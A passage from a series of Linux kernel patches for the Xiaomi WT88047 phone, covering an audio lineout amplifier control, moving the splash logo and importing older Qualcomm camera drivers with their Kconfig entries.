"ENABLE"}; static char const *pri_rx_sample_rate_text[] = {"KHZ_48", "KHZ_96", "KHZ_192", "KHZ_8", "KHZ_16", "KHZ_32"}; +#ifdef CONFIG_MACH_WT88047 +static const char *const lineout_text[] = {"DISABLE", "ENABLE", "DUALMODE"}; +#endif static int msm_auxpcm_be_params_fixup(struct snd_soc_pcm_runtime *rtd, struct snd_pcm_hw_params *params) @@ -578,6 +628,39 @@ static int loopback_mclk_put(struct snd_kcontrol *kcontrol, return ret; } +#ifdef CONFIG_MACH_WT88047 +static int lineout_status_get(struct snd_kcontrol *kcontrol, + struct snd_ctl_elem_value *ucontrol) +{ + return 0; +} + +static int lineout_status_put(struct snd_kcontrol *kcontrol, + struct snd_ctl_elem_value *ucontrol) +{ + pr_info("%s: external speaker PA mode: %ld\n", __func__, ucontrol->value.integer.value[0]); + + switch (ucontrol->value.integer.value[0]) { + case 0: + gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); + usleep_range(3000, 5000); + gpio_direction_output(EXT_SPK_AMP_GPIO , 0); + break; + case 1: + schedule_delayed_work(&lineout_amp_enable, msecs_to_jiffies(100)); + break; + case 2: + schedule_delayed_work(&lineout_amp_dualmode, msecs_to_jiffies(100)); + break; + default: + pr_err("%s: Unexpected input value\n", __func__); + break; + } + + return 0; +} +#endif + static int msm_btsco_be_hw_params_fixup(struct snd_soc_pcm_runtime *rtd, struct snd_pcm_hw_params *params) { @@ -1048,6 +1131,9 @@ static const struct soc_enum msm_snd_enum[] = { SOC_ENUM_SINGLE_EXT(4, mi2s_tx_ch_text), SOC_ENUM_SINGLE_EXT(2, loopback_mclk_text), SOC_ENUM_SINGLE_EXT(6, pri_rx_sample_rate_text), +#ifdef CONFIG_MACH_WT88047 + SOC_ENUM_SINGLE_EXT(3, lineout_text), +#endif }; static const char *const btsco_rate_text[] = {"BTSCO_RATE_8KHZ", @@ -1069,6 +1155,10 @@ static const struct snd_kcontrol_new msm_snd_controls[] = { msm_btsco_rate_get, msm_btsco_rate_put), SOC_ENUM_EXT("RX SampleRate", msm_snd_enum[3], pri_rx_sample_rate_get, pri_rx_sample_rate_put), +#ifdef CONFIG_MACH_WT88047 + SOC_ENUM_EXT("Lineout_1 amp", msm_snd_enum[4], + lineout_status_get, lineout_status_put), +#endif }; static int msm8x16_mclk_event(struct snd_soc_dapm_widget *w, @@ -1679,6 +1769,11 @@ static int msm_audrx_init(struct snd_soc_pcm_runtime *rtd) return ret; } } + +#ifdef CONFIG_MACH_WT88047 + INIT_DELAYED_WORK(&lineout_amp_enable, msm8x16_ext_spk_delayed_enable); + INIT_DELAYED_WORK(&lineout_amp_dualmode, msm8x16_ext_spk_delayed_dualmode); +#endif return msm8x16_wcd_hs_detect(codec, &mbhc_cfg); } From a73a4857b3c3813c4bce3578d348af551b4a5a81 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Tue, 25 Aug 2015 18:14:12 +0700 Subject: [PATCH 022/365] wt88047: Move Tux the penguin to the top right of screen Change-Id: Ie92a55dd5261c9313a138fa395afff8ac657bc95 --- drivers/video/msm/mdss/mdss_mdp_splash_logo.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/drivers/video/msm/mdss/mdss_mdp_splash_logo.c b/drivers/video/msm/mdss/mdss_mdp_splash_logo.c index 681771a2884c6..805fd43b0b33b 100644 --- a/drivers/video/msm/mdss/mdss_mdp_splash_logo.c +++ b/drivers/video/msm/mdss/mdss_mdp_splash_logo.c @@ -470,8 +470,13 @@ static int mdss_mdp_display_splash_image(struct msm_fb_data_type *mfd) src_rect.y = 0; dest_rect.w = src_rect.w = SPLASH_IMAGE_WIDTH; dest_rect.h = src_rect.h = SPLASH_IMAGE_HEIGHT; +#ifdef CONFIG_MACH_WT88047 + dest_rect.x = (fbi->var.xres) - (SPLASH_IMAGE_WIDTH); + dest_rect.y = 0; +#else dest_rect.x = (fbi->var.xres >> 1) - (SPLASH_IMAGE_WIDTH >> 1); dest_rect.y = (fbi->var.yres >> 1) - (SPLASH_IMAGE_HEIGHT >> 1); +#endif rc = mdss_mdp_splash_alloc_memory(mfd, image_len); if (rc) { From aa92a8e61bb98102818a40982c09dff7102297f1 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 5 Oct 2015 22:09:07 +0700 Subject: [PATCH 023/365] msm: camera: Prepare older camera source for WT88047 Based on known working source from LNX.LA.3.7.2_rb1 Change-Id: I1547424bfaaf813af557859b801a55c21ec3db8f --- .../platform/msm/camera_wt88047_v2/Kconfig | 251 ++ .../platform/msm/camera_wt88047_v2/Makefile | 18 + .../msm/camera_wt88047_v2/camera/Makefile | 3 + .../msm/camera_wt88047_v2/camera/camera.c | 809 ++++++ .../msm/camera_wt88047_v2/camera/camera.h | 23 + .../msm/camera_wt88047_v2/isp/Makefile | 4 + .../msm/camera_wt88047_v2/isp/msm_buf_mgr.c | 962 +++++++ .../msm/camera_wt88047_v2/isp/msm_buf_mgr.h | 170 ++ .../msm/camera_wt88047_v2/isp/msm_isp.c | 312 +++ .../msm/camera_wt88047_v2/isp/msm_isp.h | 539 ++++ .../msm/camera_wt88047_v2/isp/msm_isp32.c | 1317 +++++++++ .../msm/camera_wt88047_v2/isp/msm_isp32.h | 17 + .../msm/camera_wt88047_v2/isp/msm_isp40.c | 1783 +++++++++++++ .../msm/camera_wt88047_v2/isp/msm_isp40.h | 17 + .../msm/camera_wt88047_v2/isp/msm_isp44.c | 1474 ++++++++++ .../msm/camera_wt88047_v2/isp/msm_isp44.h | 17 + .../camera_wt88047_v2/isp/msm_isp_axi_util.c | 1739 ++++++++++++ .../camera_wt88047_v2/isp/msm_isp_axi_util.h | 58 + .../isp/msm_isp_stats_util.c | 575 ++++ .../isp/msm_isp_stats_util.h | 25 + .../msm/camera_wt88047_v2/isp/msm_isp_util.c | 1573 +++++++++++ .../msm/camera_wt88047_v2/isp/msm_isp_util.h | 80 + .../msm/camera_wt88047_v2/ispif/Makefile | 3 + .../msm/camera_wt88047_v2/ispif/msm_ispif.c | 1368 ++++++++++ .../msm/camera_wt88047_v2/ispif/msm_ispif.h | 69 + .../ispif/msm_ispif_hwreg_v1.h | 115 + .../ispif/msm_ispif_hwreg_v2.h | 96 + .../msm/camera_wt88047_v2/jpeg_10/Makefile | 6 + .../jpeg_10/msm_jpeg_common.h | 39 + .../camera_wt88047_v2/jpeg_10/msm_jpeg_core.c | 284 ++ .../camera_wt88047_v2/jpeg_10/msm_jpeg_core.h | 40 + .../camera_wt88047_v2/jpeg_10/msm_jpeg_dev.c | 315 +++ .../camera_wt88047_v2/jpeg_10/msm_jpeg_hw.c | 416 +++ .../camera_wt88047_v2/jpeg_10/msm_jpeg_hw.h | 105 + .../jpeg_10/msm_jpeg_hw_reg.h | 138 + .../jpeg_10/msm_jpeg_platform.c | 460 ++++ .../jpeg_10/msm_jpeg_platform.h | 43 + .../camera_wt88047_v2/jpeg_10/msm_jpeg_sync.c | 1292 +++++++++ .../camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h | 127 + .../platform/msm/camera_wt88047_v2/msm.c | 1154 ++++++++ .../platform/msm/camera_wt88047_v2/msm.h | 125 + .../camera_wt88047_v2/msm_buf_mgr/Makefile | 2 + .../msm_buf_mgr/msm_generic_buf_mgr.c | 352 +++ .../msm_buf_mgr/msm_generic_buf_mgr.h | 40 + .../platform/msm/camera_wt88047_v2/msm_sd.h | 86 + .../msm/camera_wt88047_v2/msm_vb2/Makefile | 3 + .../msm/camera_wt88047_v2/msm_vb2/msm_vb2.c | 311 +++ .../msm/camera_wt88047_v2/msm_vb2/msm_vb2.h | 70 + .../msm/camera_wt88047_v2/pproc/Makefile | 2 + .../msm/camera_wt88047_v2/pproc/cpp/Makefile | 4 + .../msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c | 2372 +++++++++++++++++ .../msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h | 234 ++ .../msm/camera_wt88047_v2/pproc/vpe/Makefile | 3 + .../msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c | 1655 ++++++++++++ .../msm/camera_wt88047_v2/pproc/vpe/msm_vpe.h | 255 ++ .../msm/camera_wt88047_v2/sensor/Makefile | 20 + .../sensor/actuator/Makefile | 4 + .../sensor/actuator/msm_actuator.c | 1146 ++++++++ .../sensor/actuator/msm_actuator.h | 106 + .../msm/camera_wt88047_v2/sensor/cci/Makefile | 3 + .../sensor/cci/msm_cam_cci_hwreg.h | 58 + .../camera_wt88047_v2/sensor/cci/msm_cci.c | 1353 ++++++++++ .../camera_wt88047_v2/sensor/cci/msm_cci.h | 186 ++ .../camera_wt88047_v2/sensor/csid/Makefile | 3 + .../sensor/csid/include/msm_csid_2_0_hwreg.h | 56 + .../sensor/csid/include/msm_csid_2_2_hwreg.h | 55 + .../sensor/csid/include/msm_csid_3_0_hwreg.h | 55 + .../sensor/csid/include/msm_csid_3_1_hwreg.h | 55 + .../sensor/csid/include/msm_csid_3_2_hwreg.h | 55 + .../camera_wt88047_v2/sensor/csid/msm_csid.c | 825 ++++++ .../camera_wt88047_v2/sensor/csid/msm_csid.h | 92 + .../camera_wt88047_v2/sensor/csiphy/Makefile | 3 + .../csiphy/include/msm_csiphy_2_0_hwreg.h | 46 + .../csiphy/include/msm_csiphy_2_2_hwreg.h | 46 + .../csiphy/include/msm_csiphy_3_0_hwreg.h | 46 + .../csiphy/include/msm_csiphy_3_1_hwreg.h | 46 + .../csiphy/include/msm_csiphy_3_2_hwreg.h | 46 + .../sensor/csiphy/msm_csiphy.c | 868 ++++++ .../sensor/csiphy/msm_csiphy.h | 89 + .../camera_wt88047_v2/sensor/eeprom/Makefile | 4 + .../sensor/eeprom/msm_eeprom.c | 1157 ++++++++ .../sensor/eeprom/msm_eeprom.h | 49 + .../camera_wt88047_v2/sensor/flash/Makefile | 9 + .../camera_wt88047_v2/sensor/flash/adp1660.c | 212 ++ .../camera_wt88047_v2/sensor/flash/bd7710.c | 209 ++ .../camera_wt88047_v2/sensor/flash/lm3642.c | 398 +++ .../sensor/flash/msm_led_flash.c | 120 + .../sensor/flash/msm_led_flash.h | 89 + .../sensor/flash/msm_led_i2c_trigger.c | 729 +++++ .../sensor/flash/msm_led_torch.c | 60 + .../sensor/flash/msm_led_trigger.c | 302 +++ .../msm/camera_wt88047_v2/sensor/gc0339.c | 704 +++++ .../msm/camera_wt88047_v2/sensor/hi256.c | 2157 +++++++++++++++ .../msm/camera_wt88047_v2/sensor/imx132.c | 154 ++ .../msm/camera_wt88047_v2/sensor/imx134.c | 174 ++ .../msm/camera_wt88047_v2/sensor/imx135.c | 173 ++ .../msm/camera_wt88047_v2/sensor/io/Makefile | 4 + .../sensor/io/msm_camera_cci_i2c.c | 500 ++++ .../sensor/io/msm_camera_dt_util.c | 1368 ++++++++++ .../sensor/io/msm_camera_dt_util.h | 61 + .../sensor/io/msm_camera_i2c.h | 124 + .../sensor/io/msm_camera_i2c_mux.c | 188 ++ .../sensor/io/msm_camera_i2c_mux.h | 46 + .../sensor/io/msm_camera_io_util.c | 581 ++++ .../sensor/io/msm_camera_io_util.h | 58 + .../sensor/io/msm_camera_qup_i2c.c | 545 ++++ .../sensor/io/msm_camera_spi.c | 214 ++ .../sensor/io/msm_camera_spi.h | 66 + .../msm/camera_wt88047_v2/sensor/msm_sensor.c | 1451 ++++++++++ .../msm/camera_wt88047_v2/sensor/msm_sensor.h | 112 + .../sensor/msm_sensor_driver.c | 1034 +++++++ .../sensor/msm_sensor_driver.h | 20 + .../sensor/msm_sensor_init.c | 186 ++ .../sensor/msm_sensor_init.h | 25 + .../msm/camera_wt88047_v2/sensor/mt9m114.c | 1510 +++++++++++ .../msm/camera_wt88047_v2/sensor/ov12830.c | 197 ++ .../msm/camera_wt88047_v2/sensor/ov2720.c | 155 ++ .../msm/camera_wt88047_v2/sensor/ov5645.c | 958 +++++++ .../msm/camera_wt88047_v2/sensor/ov5648.c | 179 ++ .../msm/camera_wt88047_v2/sensor/ov8825.c | 173 ++ .../msm/camera_wt88047_v2/sensor/ov8865.c | 185 ++ .../msm/camera_wt88047_v2/sensor/ov9724.c | 167 ++ .../msm/camera_wt88047_v2/sensor/s5k3l1yx.c | 173 ++ .../msm/camera_wt88047_v2/sensor/s5k4e1.c | 167 ++ .../msm/camera_wt88047_v2/sensor/sp1628.c | 992 +++++++ 125 files changed, 46751 insertions(+) create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/Kconfig create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/camera/camera.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.c create mode 100755 drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v1.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v2.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_common.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_dev.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_sd.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cam_cci_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/adp1660.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/bd7710.c create mode 100755 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/lm3642.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_i2c_trigger.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_torch.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_trigger.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/gc0339.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/hi256.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/imx132.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/imx134.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/imx135.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_cci_i2c.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_qup_i2c.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.c create mode 100755 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.h create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/mt9m114.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov12830.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov2720.c create mode 100755 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5645.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5648.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8825.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov8865.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/ov9724.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k3l1yx.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/s5k4e1.c create mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/sp1628.c diff --git a/drivers/media/platform/msm/camera_wt88047_v2/Kconfig b/drivers/media/platform/msm/camera_wt88047_v2/Kconfig new file mode 100644 index 0000000000000..a61bd0f354dfd --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/Kconfig @@ -0,0 +1,251 @@ +config MSM_CAMERA_SENSOR + bool "Qualcomm MSM camera sensor support" + depends on MSMB_CAMERA + ---help--- + This flag enables support for Camera Sensor. + The sensor driver is capable of providing real time + data for camera support. The driver support V4L2 + subdev APIs. + +config MSM_CPP + bool "Qualcomm MSM Camera Post Processing Engine support" + depends on MSMB_CAMERA + ---help--- + Enable support for Camera Post-processing Engine + The Post processing engine is capable of scaling + and cropping image. The driver support V4L2 subdev + APIs. + +config MSM_CCI + bool "Qualcomm MSM Camera Control Interface support" + depends on MSMB_CAMERA + ---help--- + Enable support for Camera Control Interface driver only + for those platforms that have hardware support. This driver + is responsible for handling I2C read and write on the I2C + bus. It is also responsible for synchronization with + GPIO and data frames. + +config MSM_CSI20_HEADER + bool "Qualcomm MSM CSI 2.0 Header" + depends on MSMB_CAMERA + ---help--- + Enable support for CSI drivers to include 2.0 + header. This header has register macros and its + values and bit mask for register configuration bits + This config macro is required targets based on 8960, + 8930 and 8064 platforms. + +config MSM_CSI22_HEADER + bool "Qualcomm MSM CSI 2.2 Header" + depends on MSMB_CAMERA + ---help--- + Enable support for CSI drivers to include 2.2 + header. This header has register macros and its + values and bit mask for register configuration bits + This config macro is required targets based on 8610 + platform. + +config MSM_CSI30_HEADER + bool "Qualcomm MSM CSI 3.0 Header" + depends on MSMB_CAMERA + ---help--- + Enable support for CSI drivers to include 3.0 + header. This header has register macros and its + values and bit mask for register configuration bits + This config macro is required for targets based on + 8064 platforms. + +config MSM_CSI31_HEADER + bool "Qualcomm MSM CSI 3.1 Header" + depends on MSMB_CAMERA + ---help--- + Enable support for CSI drivers to include 3.0 + header. This header has register macros and its + values and bit mask for register configuration bits + This config macro is required for targets based on + APQ8084 platform. + +config MSM_CSIPHY + bool "Qualcomm MSM Camera Serial Interface Physical receiver support" + depends on MSMB_CAMERA + ---help--- + Enable support for Camera Serial Interface + Physical receiver. It deserializes packets and + supports detection of packet start and stop + signalling. + +config MSM_CSID + bool "Qualcomm MSM Camera Serial Interface decoder support" + depends on MSMB_CAMERA + ---help--- + Enable support for Camera Serial Interface decoder. + It supports lane merging and decoding of packets + based on cid which is mapped to a virtual channel + and datatype. + +config MSM_EEPROM + bool "Qualcomm MSM Camera ROM Interface for Calibration support" + depends on MSMB_CAMERA + ---help--- + Enable support for ROM Interface for Calibration + Provides interface for reading the Claibration data. + and also provides support for writing data in case of FLASH ROM. + Currently supports I2C, CCI and SPI protocol + +config MSM_ISPIF + bool "Qualcomm MSM Image Signal Processing interface support" + depends on MSMB_CAMERA + ---help--- + Enable support for Image Signal Processing interface module. + This module acts as a crossbar between CSID and VFE. Output + of any CID of CSID can be routed to of of pixel or raw + data interface in VFE. + +config MSM_ISPIF_V1 + bool "Qualcomm MSM Image Signal Processing interface support" + depends on MSMB_CAMERA + ---help--- + Enable support for Image Signal Processing interface module. + This module acts as a crossbar between CSID and VFE. Output + of any CID of MSM_CSI22_HEADER can be routed to of pixel + or raw data interface in VFE. + +config IMX134 + bool "Sensor IMX134 (BAYER 8M)" + depends on MSMB_CAMERA + ---help--- + Sony 8 MP Bayer Sensor with auto focus, uses + 4 mipi lanes full resolution @30fps and + HFR @60fps and @120fps, + Video HDR support. + +config IMX132 + bool "Sensor IMX132 (BAYER 2M)" + depends on MSMB_CAMERA + ---help--- + Sony 2 MP Bayer Sensor with auto focus, uses + 2 mipi lanes, preview config = 1920 x 1080 at 30 fps, + snapshot config = 1920 x 1080 at 30 fps, + Video HDR support. + +config OV9724 + bool "Sensor OV9724 (BAYER 2M)" + depends on MSMB_CAMERA + ---help--- + OmniVision 2 MP Bayer Sensor, supports 2 mipi lanes, + preview and snapshot config at 1280*720 at 30 fps, + hfr video at 60, 90 and 120 fps. This sensor driver does + not support auto focus. + +config HI256 + bool "Hynix hi256 (YUV 2MP)" + depends on MSMB_CAMERA + ---help--- + OmniVision 8 MP Bayer Sensor with auto focus.uses + 2 mipi lanes, preview config = 1632*1224 30 fps, + snapshot config = 3264 * 2448 at 18 fps. + 2 lanes max fps is 18, 4 lanes max fps is 24. + +config OV5648 + bool "Sensor OV5648 (BAYER 5M)" + depends on MSMB_CAMERA + ---help--- + OmniVision 5 MP Bayer Sensor, only use 1 mipi lane, + preview set to 1296*972 at 30 fps, + snapshot set to 2592*1944 at 12 fps, + This sensor driver does not support auto focus. + +config MT9M114 + bool "Sensor MT9M114 (YUV 1.26MP)" + depends on MSMB_CAMERA + ---help--- + MT9M114 is Aptina YUV sensor. It supports 1.26 MP preview + and snapshot. The preview and snapshot resolution shall be + 1280 * 270. It does not support auto focus. It supports + few special effects like saturation. +config OV5645 + bool "Sensor OV5645 (YUV 5.0MP)" + depends on MSMB_CAMERA + ---help--- + OV5645 is Omnivision YUV sensor. It supports 5.0 MP preview + and snapshot. The preview and snapshot resolution shall be + 1280 * 270. It does not support auto focus. It supports + few special effects like saturation. + +config SP1628 + bool "Sensor SP1628 (YUV 720P)" + depends on MSMB_CAMERA + ---help--- + SP1628 is SuperPix YUV sensor. It supports 720P preview + and snapshot. The preview and snapshot resolution shall be + 1280 * 270. It does not support auto focus. It supports + few special effects like mono. + +config GC0339 + bool "Sensor GC0339 (BAYER .3M)" + depends on MSMB_CAMERA + ---help--- + gc0339 is a Galaxycore .3 MP Bayer Sensor. + It supports 1 or 2 mipi lanes. + Preview and snapshot resolution shall be 640*480 at 30 fps, + It does not support auto focus. + +config OV8825 + bool "OmniVision OV8825 (BAYER 8MP)" + depends on MSMB_CAMERA + ---help--- + OmniVision 8 MP Bayer Sensor with auto focus.uses + 2 mipi lanes, preview config = 1632*1224 30 fps, + snapshot config = 3264 * 2448 at 18 fps. + 2 lanes max fps is 18, 4 lanes max fps is 24. + +config OV8865 + bool "OmniVision OV8865 (BAYER 8MP)" + depends on MSMB_CAMERA + ---help--- + OmniVision 8 MP Bayer Sensor with auto focus.uses + 4 mipi lanes, preview config = 1632*1224 30 fps, + snapshot config = 3264 * 2448 at 30 fps. + 